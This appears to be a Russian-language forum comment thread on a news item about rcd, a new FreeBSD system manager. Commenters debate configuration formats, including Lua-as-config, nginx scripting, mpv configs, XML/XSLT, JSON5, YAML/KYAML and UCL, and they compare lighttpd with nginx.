	Но рынок решил иначе, и nginx во многом взлетел благодаря именно возможности описать логику в коде. Иначе он был не сказать чтобы сильно лучше лайти. Как минимум в до ЫЫ эпоху вобла кодинга было достаточно времязатратно иметь статический конфиг в одном месте и где то прикручивать логику в отдельном ЯП в другом. Я благодаря nginx смог выкинуть из своего проекта ssdpd свой же вебсервер целиком и возвращать какие мне надо ответы из nginx. Но конечно немного кода на пхп написать пришлось, там где уже совсем много логики и генерации было.
	Ответить | Правка | К родителю #228 | Наверх | Cообщить модератору

	302. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 23:36
	> Как минимум в до ЫЫ эпоху вобла кодинга было достаточно времязатратно иметь статический конфиг в одном месте и где то прикручивать логику в отдельном ЯП в другом. А лить все в index.php только потому-что программер не имеет тупо доступа к nginx-у, тоже нормальная практика? А потом "визг" про то, что все надо переписать на какой-нибудь nodejs или go, упаси Господи на ruby on rails.
	Ответить | Правка | Наверх | Cообщить модератору

	333. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:34
	Я с таким не сталкивался, попробуйте поспорить с админами/девляпсами которым код в конфиге не нравится :)
	Ответить | Правка | К родителю #302 | Наверх | Cообщить модератору

	361. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (326), 12-Сен-26, 22:29
	> попробуйте поспорить не в том возрасте, навидался и суровых сисадминов, и всяких девляпсов, вывод один - х*як, х*як и в продакшен, так было всегда, но не везде!
	Ответить | Правка | К родителю #333 | Наверх | Cообщить модератору

	461. Скрыто модератором	+/–
	Сообщение от Аноним (-), 15-Сен-26, 23:39
	> Я с таким не сталкивался, попробуйте поспорить с админами/девляпсами которым код в > конфиге не нравится :) В дебиане поспорили. Майнтайнеры пакетов и сделали жизнь проще - себе. А вы там свои художества сами и майнтайньте. Если пупок не развяжется.
	Ответить | Правка | К родителю #333 | Наверх | Cообщить модератору

	369. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 00:59
	> Но рынок решил иначе, и nginx во многом взлетел благодаря именно возможности > описать логику в коде. Нжинкс юзается - как относительно тупой но шустрый фронтэнд, кэш и сервер статики прежде всего. > Иначе он был не сказать чтобы сильно лучше лайти. У лайти - когда я его смотрел - была сильно более дурная логика работы с буферами. Если бэк генерит dvd-iso-sized ответ, лайти выделит на него дохреналион памяти - и никогда ее не отдаст уже - став не таким уж лайти! Не помню пофиксили это в итоге или нет. Нжинкс же сразу допер кусками разумного размера ворочать при проксировании, там просто не надо делать себе мозг вопросами размера ответа от бэкэнда. И ессно это серьезный плюс. А еще лайти делали - студебеккеры. Их предсказуемо покусало неумение управлять проектами и фап на концепции, так что лайти2 сватался с какими-то state machines на каком-то Ragel. Все круто, концептуально, и - 0 улучшений видимых юзерям а потому - на...й никому кроме концептуалов не интересно. Народ и стал обходить чудаков сторонкой. А непонятная зверушка лайти 2 - так никогда и не материализовалась в более-менее живой проект. Ибо даже у концептуала мотивация много пахать и в итоге на ползовательском уровне почти ничего нового взамен не получить - ну такая себе. А у остальных - и подавно! Все же мы пишем софт - чтобы юзать его. В опенсорсе еще и для себя к тому же. А если я ничего не выигрываю - то зачем я на это время убиваю?! > Как минимум в до ЫЫ эпоху вобла кодинга было достаточно времязатратно иметь > статический конфиг в одном месте и где то прикручивать логику в > отдельном ЯП в другом. Да как сказать? В nginx яп тоже - так то - отдельный ЯП. И имеет кучу ограничений. В общем на самом деле очень нишевая штука как по мне и люблю я нжинкс вовсе не за это. А за развитый фичесет и кеш при приличном перфомансе. > Я благодаря nginx смог выкинуть из своего проекта ssdpd свой же вебсервер > целиком и возвращать какие мне надо ответы из nginx. Когда мне сильный кастом спичит я беру lwan.ws, там это - просто. Это такой вебсерв-как-либа. И в отличие от либ типа microhttpd не делает мозг микродеталями.
	Ответить | Правка | Наверх | Cообщить модератору

	385. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 06:40
	Да, делать что то не совсем примитивное в nginx трудно, так же как в FreeRADIUS с его unlang. Но простое и иногда среднее - вполне удаётся, и это экономит время на возне с отдельными ЯП или даже какими то другими приложениями.
	Ответить | Правка | К родителю #369 | Наверх | Cообщить модератору

	417. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (416), 13-Сен-26, 15:38
	> Да, делать что то не совсем примитивное в nginx трудно, так же > как в FreeRADIUS с его unlang. Ты не представляешь на что меня развел гуглобот AI довольно забавной идеей. И да, это совершенно п...тый хак  :)). И он даже блин работает... до некотрой степени... допиливая недостающие фичи сервака прям нахрен конфигом. Есть только один нюанс. Как только начинает хотеться вот самую капельку шаг в сторону - становится мучительно больно и по простому не лечится. Ибо у скриптоязыка довольно ограниченный доступ, возможности и перфоманс и воооон то - комфортнее было бы делать как отдельный модуль nginx чтоб иметь доступ в ВСЕ кишки и состояние, или отдельный бэк аппсервера, который сделает вообще совсем все. Возможно путем зацепления готовой либы на которую спихнули одним чихом 95% проблем. > Но простое и иногда среднее - вполне удаётся, и это экономит время > на возне с отдельными ЯП или даже какими то другими приложениями. Простое - и правда удается. Но какой-то вот прям крутой фичой я это все таки особо не считаю.
	Ответить | Правка | К родителю #385 | Наверх | Cообщить модератору

	174. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 10:47
	>А откуда у вас nil в статическом конфиге взялся? Элементарно. Достаточно требовать наличие параметра, для валидации схемы, с целью защиты от случайных ошибок.
	Ответить | Правка | К родителю #130 | Наверх | Cообщить модератору

	172. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 10:43
	Какую вы проблему собираетесь решить через lua? Гораздо логичнее взять nix, который уже соберётся в нужный формат.
	Ответить | Правка | К родителю #119 | Наверх | Cообщить модератору

	294. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:00
	1. собственно получить готовый парсер который способен прочитать параметры из файла и присвоить значения внутренним переменным и структурам 2. заложить возможность динамически подстраивать параметры, читай автотюнинг на уровне конфига.
	Ответить | Правка | Наверх | Cообщить модератору

	196. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 11:54
	> А как же LUA в качестве конфигов? Код как конфигурация? Die-die-die-die. Потому что поддерживать ЭТО - вообще совсем нереально.
	Ответить | Правка | К родителю #119 | Наверх | Cообщить модератору

	213. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 13:32
	>> А как же LUA в качестве конфигов? > Код как конфигурация? Die-die-die-die. Потому что поддерживать ЭТО - вообще совсем нереально. Редкий случай, когда хочется пожать мозолистую руку :)
	Ответить | Правка | Наверх | Cообщить модератору

	295. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:07
	Только в обморок не упадите: -- configuration file width = 200 height = 300 background_red = 0.30 background_green = 0.10 background_blue = 0 -- configuration file if getenv("DISPLAY") == ":0.0" then width = 300; height = 300 else width = 200; height = 200 end - мне вот примерно такого в MPV не хватает чтобы иметь единый конфиг на разных девайсах. Я бы конечно мог потратить кучу времени как сделали в хорг и сделать на С всю логику, но лучше пусть эта логика будет в конфиге на луа - хотя бы перекомпелять прогу каждый раз не придётся.
	Ответить | Правка | К родителю #196 | Наверх | Cообщить модератору

	370. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 01:17
	> - мне вот примерно такого в MPV не хватает чтобы иметь единый > конфиг на разных девайсах. Квадратно гнездовое мышление это прекрасно, но... 1) Обычный человек заведет себе 2 конфига, "конфиг для девайса 1" и "конфиг для девайса 2". 2) Покусаный генераиторами и шаблонами - сделает гранд рещение которое параметризуемое вообще. Это спорный паттерн, но если конфиг много - ваш путь еще ужаснее. Ибо спагетти из десятка вариантов конфиг - ну такое себе. И добавление +1 конфиги - тоже, да. На самом концептуальном уровне я вообще не догоняю почему конфиг должно колыхать на каком дисплее он работает. И почему это вообще - в именно конфиге. А не например враппере на шелле генерящем командлайн. У меня есть например враппер на bash для ffmpeg который 1) Делает автодетект с какого это девайса. 2) Ориентация камеры на видео 3) По итогам апплаит параметры ffmpeg - с одним "common core" для всех них и разными "твиками" на него. Но вот именно "common core" вынесен в отдельный файл конфигурации чтобы отделить его от логики. Иначе задалбывает на второй странице текста - параметры видео править. Это фиговый (анти)паттерн. > Я бы конечно мог потратить кучу времени как сделали в хорг и > сделать на С всю логику, но лучше пусть эта логика будет > в конфиге на луа - хотя бы перекомпелять прогу каждый раз не придётся. У *никсов для такого отродясь был шелл. На кой черт луа вперся - я без малейшего понятия. Шелл как раз хорош для общей высокоуровневой координации низкоуровневых кубиков. И применения некоей медленной/разовой логики. А луа - ни два ни полтора. Нахрен он нужен на этом уровне - я без понятия.
	Ответить | Правка | Наверх | Cообщить модератору

	386. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 06:51
	Чел, ну серьёзно, ты админ или где? У тебя есть десктоп, ноут, и ещё пара десктопов и ноутов, везде разное железо и даже может венда и линукс. Конфиг mpv содержит много всякого что специфично для вопроизведения, из этого всего специфично для железа/ОС всего 2-3 строки. Если заводить конфиг отдельный под каждую железку и ОС то придётся периодически как то синхронизировать всё остальное кроме этих 2-3 строк. Допустим там есть возможность даже инклюдить другие конфиги, тогда можно сделать базовый конфиг и конфиг конкретной железки на эти 2-3 строчки. Но поскольку железок с этим конфигом на 2-3 одинаковым тоже может быть много - теперь придётся синкать его. А ещё в мире за пределами венды случается иметь загрузочную флешку, которую воткнул кудато, загрузился и получил свою ОС со своим профилем и тп, и вот там придётся как то на лету определять железо. Те приходим к тому что проще всё же в конфиге заиметь какую то возможность детектить ос и железо и выбирать параметры. Там дело не в дисплее если что, а в том через что выводить видео и включать ли аппаратные декодинги. > У *никсов для такого отродясь был шелл. В хорге, насколько я помню, есть автодетект и автоподбор дров в случаях когда конфига нет и написано это на С. > А луа - ни два ни полтора. Нахрен он нужен на этом уровне - я без понятия. LUA уже есть в MPV и много чего полезного может. У меня на нём авто поиск внешних озвучек и субтитров.
	Ответить | Правка | Наверх | Cообщить модератору

	419. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (419), 13-Сен-26, 16:14
	> Чел, ну серьёзно, ты админ или где? Я не "админ" в чистом виде а скорее гибрид кастомдева и интегратора. Конечно до кучи я умею админить. Это superset ролей, лучше видящий жизненный цикл софта и проблематику "от и до". Администрирование лишь часть этого балета. Есть такие парадигмы, DFx. Designed for x (x = testabilty, production, maintenance, automantion, integration, ... ). Но ты про ЭТО кажется даже краем уха не слышал. А внедрять такое надо - еще на фазе архитектуры. А то что вы делаете с драной наколенью идет сильно вразрез с этими хотелками. Очень сильно все нагибая в этих аспектах. Конфигкрация как код - очень сильный фактор неопределенности и хрупкости. Из-за следствий halting problem даже просто валидация конфига и отлов ошибок человека становится по сути - mission impossible. Во что выливается? А вот мой порт sysv скрипта RHEL -> DEB на вид при тестовом пинке как живой. Но при фактическом ребуте почему-то тишина. Ноль. Zero. Nothing. Nada. Null. Void. Этот ваш sysv тоже DFx, только x определен как "clusterfuck out of nowhere". Оно мне такое надо? :) > У тебя есть десктоп, ноут, и ещё пара десктопов и ноутов, везде > разное железо и даже может венда и линукс. У меня есть несколько компов, пару ноутов, десятки одноплатников, целые флоты виртуалок, сервера всех мастей и направлений, роутеры и тому подобные железки. И там в целом достаточно похожий выводок технологий... ...но вот пытаться их все причесать под 1 гребенку в всех аспектах? Не, спаасибо. Они унифицированы тем что на большей части - Debian и btrfs. И sd конечно. Так что core-level управление и диагностика в целом похожи. Но все остальное там - может радикально отличаться. > Конфиг mpv содержит много всякого что специфично для вопроизведения, из этого всего > специфично для железа/ОС всего 2-3 строки. Но если конфиг становится с десяток (я и больше найду) - конфиг уже станет малоудобоваримым спагетти, пожалуй. > Если заводить конфиг отдельный под каждую железку и ОС то придётся периодически > как то синхронизировать всё остальное кроме этих 2-3 строк. Вы так часто меняете конфигурацию плеера, да еще синхронно между всеми железками? У XKCD вообще есть стебный комикс на тему "когда это следует автоматизировать?!". Но вы его явно не видели. А он так то - жизненный. > Но поскольку железок с этим конфигом на 2-3 одинаковым тоже может быть > много - теперь придётся синкать его. И тут мы начинаем задаваться вопросом - а насколько часто вообще эта задача возникает на практике - чтобы ее автоматизацией вообще париться? Я вот никак не могу вспомнить ближайших дат когда я вообще трогал конфиги видеоплееров за каким-то хреном. В моем мире такая формулировка проблемы просто не существует - согласно тому XKCD я должен заняться автоматизацией этого всего - никогда. Ибо затраты сил на автоматизацию - перевесят выигрыши от этого и не отобьются при моей жизни. Т.е. я потрачу больше времени, при том - на какой-то кластерфак. > А ещё в мире за пределами венды случается иметь загрузочную флешку, которую > воткнул кудато, загрузился и получил свою ОС со своим профилем и > тп, и вот там придётся как то на лету определять железо. Я вообще юзаю везде линуха. Винды у меня нет. Так что смысл мне начитывать эти лекции? А на загрузочной флешке - как и на вот этой browser vm - диалект моего десктопа в образе записан. Я его нарулил разок-другой и дальще фигачил им как шаблоном. Потому что хороший админ должен быть ленив - ну я и сэкономил себе кучу времени. А где мне хотелось вот прям кастом-кастом - и я понимал зачем это (генерация VM с разным содержимым по пакетам, версиям дебиана и под несколько архитектур проца) - я вот таки написал обвес debootstrap'у на bash. Это да - время экономит. На BSD или винде так не получится особо - за отсутствием тулсов похожих на debootsrap. > Те приходим к тому что проще всё же в конфиге заиметь какую > то возможность детектить ос и железо и выбирать параметры. Угу, угу, взвалить на себя еще и манйтенанс конфигов... всю жизнь мечтал. > Там дело не в дисплее если что, а в том через что > выводить видео и включать ли аппаратные декодинги. И зачем вот это синзронизировать с хоть там чем? Да и вообще - я уж забыл когда я видел конфигурацию вот именно плеера. >> У *никсов для такого отродясь был шелл. > В хорге, насколько я помню, есть автодетект и автоподбор дров в случаях > когда конфига нет и написано это на С. Нынче, так то, правильнй автодетект в основном сводится к использованию "generic KMS". И все стало сильно проще. А работает как правило не хуже - но траха в 100500 раз меньше. Но между нами я считаю что будущее принадлежит Wayland - там все еще проще с этим. Потуги "ускорять" что-то по линии графического сервера это провал, глюкодром и с учетом тех апей и архитектуры - это лучше всего просто развидеть как страшный сон. >> А луа - ни два ни полтора. Нахрен он нужен на этом уровне - я без понятия. > LUA уже есть в MPV и много чего полезного может. У меня > на нём авто поиск внешних озвучек и субтитров. Я не пользователь MPV - и вообще не фанат скриптования видеоплееров, скажем прямо.
	Ответить | Правка | Наверх | Cообщить модератору

	144. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (68), 11-Сен-26, 03:25
	Да, у каждого свои приколы. И даже с приколами любой из них лучше зоопарка. Лишь бы использовался униформно.
	Ответить | Правка | К родителю #104 | Наверх | Cообщить модератору

	150. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 05:55
	/представил себе xml'ный кубик, содрогнулся/ Неее, предпочитаю иметь возможность выбора инструмента под задачу.
	Ответить | Правка | Наверх | Cообщить модератору

	371. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 01:18
	> /представил себе xml'ный кубик, содрогнулся/ Ты просто не видел что особо покусанные CSS эстеты могут из него сделать. Он, так то, тюринг-полный, со всеми вытекающими...
	Ответить | Правка | Наверх | Cообщить модератору

	390. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 13-Сен-26, 08:52
	>> /представил себе xml'ный кубик, содрогнулся/ > Ты просто не видел что особо покусанные CSS эстеты могут из него > сделать. Он, так то, тюринг-полный, со всеми вытекающими... Что значит "не видел"? Я с xslt\xquery работал так-то ). Я больше скажу - даже сейчас на ряде кейсов декларативную трансформацию структур данных из того же json проще через xml сделать, чем jslt\jsonnata\jolt\jq брать. P.S. И нет, сам xml ни в одном месте не тьюринг-полный ).
	Ответить | Правка | Наверх | Cообщить модератору

	420. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (419), 13-Сен-26, 16:16
	> скажу - даже сейчас на ряде кейсов декларативную трансформацию структур данных > из того же json проще через xml сделать, чем jslt\jsonnata\jolt\jq брать. > P.S. И нет, сам xml ни в одном месте не тьюринг-полный ). При том даже гугло с этим XSLT задолбалось и решило его таки - дропануть от греха. Слишкому уж инопланетная фиговина с специфичными проблемами. И уж конечно сие все умеет - далеко не каждый первый взятый на угад парсер в энной программе.
	Ответить | Правка | Наверх | Cообщить модератору

	423. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 13-Сен-26, 16:31
	> При том даже гугло с этим XSLT задолбалось и решило его таки - дропануть от греха. Слишкому уж инопланетная фиговина с специфичными проблемами. Ну, попробуйте как-нибудь jolt, сравните потом %) > И уж конечно сие все умеет - далеко не каждый первый взятый на угад парсер в энной программе. Ых. Мнда. Со пониманием, что такое "парсер" и впрямь проблемочки. Xslt\xquery processor - отдельный слой над тем "парсером" практически во всех реализациях. Архитектурно к собственно "парсингу" имеет весьма косвенное отношение.
	Ответить | Правка | Наверх | Cообщить модератору

	450. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 14-Сен-26, 00:37
	> Ну, попробуйте как-нибудь jolt, сравните потом %) Да ну вас нахрен, гугло уже показал что с вами делать - задропать всей оравой и дело с концом. Оверинженерия может задолбать даже корпораса когда начнет ему нагибать прод, портить ROI, увеличивать TCO и требовать инженеров ракетных наук для майнтенанса этого всего. > Ых. Мнда. Со пониманием, что такое "парсер" и впрямь проблемочки. > Xslt\xquery processor - отдельный слой над тем "парсером" практически во всех реализациях. > Архитектурно к собственно "парсингу" имеет весьма косвенное отношение. Ну как бы да, он отдельный слой, типа над-парсер :). А реверанс был в сторону фактически существующих либ с реализациями парсинга XML. Я так то умею в парсинг XML и недурно в курсе чем SAX-like от DOM отличается и какие соотношения. Вот только умею я это - лишь потому что воон там нехорошие люди навязали мне вот такой формат IO. По своему выбору это? Да ну нахрен! А JSON что, он немного облегченная версия кошмарика - тоже catch all на все случаи жизни с вложенной нетривиальной структурой. Огромная разница с простым линейным key-value.
	Ответить | Правка | Наверх | Cообщить модератору

	453. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 14-Сен-26, 11:31
	>> Ну, попробуйте как-нибудь jolt, сравните потом %) > Да ну вас нахрен, гугло уже показал что с вами делать - > задропать всей оравой и дело с концом. Оверинженерия может задолбать даже > корпораса когда начнет ему нагибать прод, портить ROI, увеличивать TCO и > требовать инженеров ракетных наук для майнтенанса этого всего. Да-да, осталось вот ещё сам класс соответствующих задач задропать и збст будет. Ну, т.е. ясно-понятно, что у вас тех задач нет, не было и не будет - а вот те, кто с ними периодически сталкиваются... >[оверквотинг удален] >> Архитектурно к собственно "парсингу" имеет весьма косвенное отношение. > Ну как бы да, он отдельный слой, типа над-парсер :). А реверанс > был в сторону фактически существующих либ с реализациями парсинга XML. > Я так то умею в парсинг XML и недурно в курсе чем > SAX-like от DOM отличается и какие соотношения. Вот только умею я > это - лишь потому что воон там нехорошие люди навязали мне > вот такой формат IO. По своему выбору это? Да ну нахрен! > А JSON что, он немного облегченная версия кошмарика - тоже catch > all на все случаи жизни с вложенной нетривиальной структурой. Огромная разница > с простым линейным key-value. Не, ну я очень рад, что у вас нет, не было и не будет ни одной задачи, требующий работы со структурами данных, отличными от flat-value...
	Ответить | Правка | Наверх | Cообщить модератору

	140. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от kusb reg (ok), 11-Сен-26, 01:18
	ini файлы это юникс вей ini файлы это юникс вей ini файлы это юникс вей ini файлы это юникс вей ini файлы это юникс вей юникс вей это ini файлы ini файлы ini файлы ini
	Ответить | Правка | К родителю #34 | Наверх | Cообщить модератору

	49. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (49), 10-Сен-26, 13:46
	даже если бы они взяли системд , они бы его код все равно переписывали изза лицензии , под mit\bsd
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	52. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (52), 10-Сен-26, 14:14
	Зачем делать велосипед, если его уже сдалали много миллионов раз (не путать изготовление с изобретением)
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	102. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (102), 10-Сен-26, 21:07
	Зачем изобретали systemd, если есть upstart, используемый Гуглом?
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

2. "Для FreeBSD развивают новый системный менеджер rcd"	+17 +/–
Сообщение от Аноним (3), 10-Сен-26, 10:25
Вот и во freebsd будет свой systemd. Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?
Ответить | Правка | Наверх | Cообщить модератору

	9. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от мяв (?), 10-Сен-26, 10:40
	потому что это видать не конфиг, а что-то интерпретируемо-обрабатываемое(обрабатывается как конфиг при старте и интерпретируется при ручных командах в сервис), типо как в openrc. но вопрос - зачем когда в опенрц это уже 100 лет в обед.
	Ответить | Правка | Наверх | Cообщить модератору

	28. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (28), 10-Сен-26, 12:07
	Потому что этот формат используют во FreeBSD уже много лет.
	Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

	76. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (75), 10-Сен-26, 16:38
	> Потому что этот формат используют во FreeBSD уже много лет. Нет, вообще не используется. Посмотри на /etc/rc.conf, /etc/sysctl.conf, /etc/fstab... Что, много схожести видишь, лол?
	Ответить | Правка | Наверх | Cообщить модератору

	138. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (28), 11-Сен-26, 01:08
	pkg.conf iovctl.conf
	Ответить | Правка | Наверх | Cообщить модератору

	167. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Dmitry (??), 11-Сен-26, 10:09
	Куча программ использует UCL конфиги. Ну и нативная поддержка через libucl есть Где ж вас таких набирают по объявлению ?
	Ответить | Правка | К родителю #76 | Наверх | Cообщить модератору

	262. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 18:52
	> Куча программ использует UCL конфиги. > Ну и нативная поддержка через libucl есть Кто все эти люди? И куча - это сколько конкретно? Нельзя ли весь список этого софта? > Где ж вас таких набирают по объявлению ? libucl-dev: Portable compression library - development. Homepage: https://www.oberhumer.com/opensource/ucl/ Ну, э, да - граждане даже название проекта себе выбрать нормально не смогли! Настолько что клещ с немолодой либой Маркуса Оберхамера вышел. Сразу видна могучая фантазия, фэйл начинается с имени проекта.
	Ответить | Правка | Наверх | Cообщить модератору

	77. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (75), 10-Сен-26, 16:47
	> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? Автор увлекается NIH, а не веб-разработкой. В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. А на васянских юниксоподелиях - пожалуйста - в 2026 новые форматы конфигов изобретают, лол. И свой нескучный init. Других проблем у современной Бзды нет, очевидно.
	Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

	106. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 10-Сен-26, 21:28
	Ну тут вот годик назад некие васяны (ты их наверное не знаешь - Google'ем кличут) kyaml изобрели. Глюпые, да...
	Ответить | Правка | Наверх | Cообщить модератору

	125. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (75), 10-Сен-26, 23:26
	> KYAML is a safer and less ambiguous subset of YAML Не изобрели, а попытались пофиксить корявый YAML.
	Ответить | Правка | Наверх | Cообщить модератору

	153. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от User (??), 11-Сен-26, 06:21
	>> KYAML is a safer and less ambiguous subset of YAML > Не изобрели, а попытались пофиксить корявый YAML. Ну скажи, что эти вот "попытались пофиксить корявый JSON" - легче стало?
	Ответить | Правка | Наверх | Cообщить модератору

	164. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 09:54
	Вы кроме коверканья слов и инфантильности можете что-то умное сказать? >Глюпые, да... Вот вы же сами всё прекрасно понимаете, но играете на публику. Ответьте, какую именно проблему решает KYAML, когда уже есть json5? Или вы не заметили, как они ловким движением руки отломали возможность дозаписи без поломки синтаксиса?
	Ответить | Правка | К родителю #106 | Наверх | Cообщить модератору

	165. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от User (??), 11-Сен-26, 10:01
	> Вы кроме коверканья слов и инфантильности можете что-то умное сказать? А какого ответа вы ждёте на претензии космических масштабов и космической глупости? > Вот вы же сами всё прекрасно понимаете, но играете на публику. Ответьте, > какую именно проблему решает KYAML, когда уже есть json5? Или вы > не заметили, как они ловким движением руки отломали возможность дозаписи без > поломки синтаксиса? Зачем нужен json5, когда есть xml?
	Ответить | Правка | Наверх | Cообщить модератору

	175. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 10:50
	>А какого ответа вы ждёте на претензии космических масштабов и космической глупости? Вы играете в игру, кто скажет большую глупость? >Зачем нужен json5, когда есть xml? Для того, чтобы не путаться в грамматике. Или вы по прежнему соревнуетесь, кто большую глупость описывает?
	Ответить | Правка | Наверх | Cообщить модератору

	177. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 10:55
	Не, я признаю вашу победу, чоужтут. Про дату появления yaml/json5 и такую штуку как обратная совместимость - даже и не спрашиваю, от лукавого это всё - могли бы и два несовместимых парсера поддерживать, лентяи.
	Ответить | Правка | Наверх | Cообщить модератору

	178. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 11:04
	>Про дату появления yaml/json5 и такую штуку как обратная совместимость Похоже вы продолжаете играть в игру на самый глупый комментарий. Вы же сами написали про "годик назад". Почему вы вдруг резко откатились с kyaml на yaml? >могли бы и два несовместимых парсера поддерживать, лентяи Могли бы изначально не брать yaml, раз всё равно изобрели json5. Не дураки же в гугле сидят? Или всё таки дураки?
	Ответить | Правка | Наверх | Cообщить модератору

	179. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 11:14
	Ну, т.е. про то, что json5 появился лет на 10 позже, чем yaml и на момент выхода K8s (про borg не знаю) был странным поделием с непонятным статусом - вы не в курсе? А дальше - обратная совместимость, любой yaml-парсер прочитает kyaml (это подмнодество yaml, если вы не в курсе) - а вот если !внизапна! затащить в экосистему несовместимую свистелку (такую же как старая, но другую - всем лучше, только чуть-чуть хуже) - у кучи людей возникнут нежданчики, ага. Я как представитель той "кучи" рад не буду - вы не знаю...
	Ответить | Правка | Наверх | Cообщить модератору

	194. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 11:52
	>Ну, т.е. про то, что json5 появился лет на 10 позже, чем yaml Дальше что? Вы умеете мысли формулировать, или только вбрасывать? Или вы предлагаете мне за вас додумать ваш же аргумент? >любой yaml-парсер прочитает kyaml (это подмнодество yaml, если вы не в курсе) Дальше что? Может для начала задаться вопросом, а откуда вообще в проекте взялся yaml? Может если не брать плохую технологию, то её и чинить не придётся? >в экосистему несовместимую свистелку (такую же как старая, но другую - всем лучше, только чуть-чуть хуже) Так это и есть тащить в систему очередную поделку, но только хуже. Если бы в гугле сидели действительно не дураки, то они бы не превозмагали бы yaml десятилетиями, а написали бы собственный формат, благо парсер генераторы давным давно изобретены, либо, если им так не хочется изобретать свой формат, взяли бы чужой, по типу sexp.
	Ответить | Правка | Наверх | Cообщить модератору

	203. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 12:21
	>>Ну, т.е. про то, что json5 появился лет на 10 позже, чем yaml > Дальше что? Вы умеете мысли формулировать, или только вбрасывать? Или вы предлагаете > мне за вас додумать ваш же аргумент? Ну, странно было бы предлагать google'у выбрать вместо хорошо известного, зрелого и читаемого yaml прошлогоднюю поделку, не закрепленную ни в одном (До сих, кстати пор не - и без шансов) стандарте, да? Ну вот он и не выбрал. >>любой yaml-парсер прочитает kyaml (это подмнодество yaml, если вы не в курсе) > Дальше что? Может для начала задаться вопросом, а откуда вообще в проекте > взялся yaml? Может если не брать плохую технологию, то её и > чинить не придётся? Оу. И правда. Ну, найдете машину времени - метнитесь в 2014 год: Товарищ Брин! Произошла ЧУДОВИЩНАЯ ОШИБКА! Промежуточный патрон! Командирская башенка! JSON5!!! >>в экосистему несовместимую свистелку (такую же как старая, но другую - всем лучше, только чуть-чуть хуже) > Так это и есть тащить в систему очередную поделку, но только хуже. Ну ой. Оно есть. Оно работает. Оно удобно. Оно решает задачу. ОНО НЕ ЛОМАЕТ СУЩЕСТВУЮЩУЮ ЭКОСИСТЕМУ. А то, что у полутора ужаленных фронтендеров "лапки"? Ну так и тьфу на них - не для них писано. > Если бы в гугле сидели действительно не дураки, то они бы > не превозмагали бы yaml десятилетиями, а написали бы собственный формат, благо > парсер генераторы давным давно 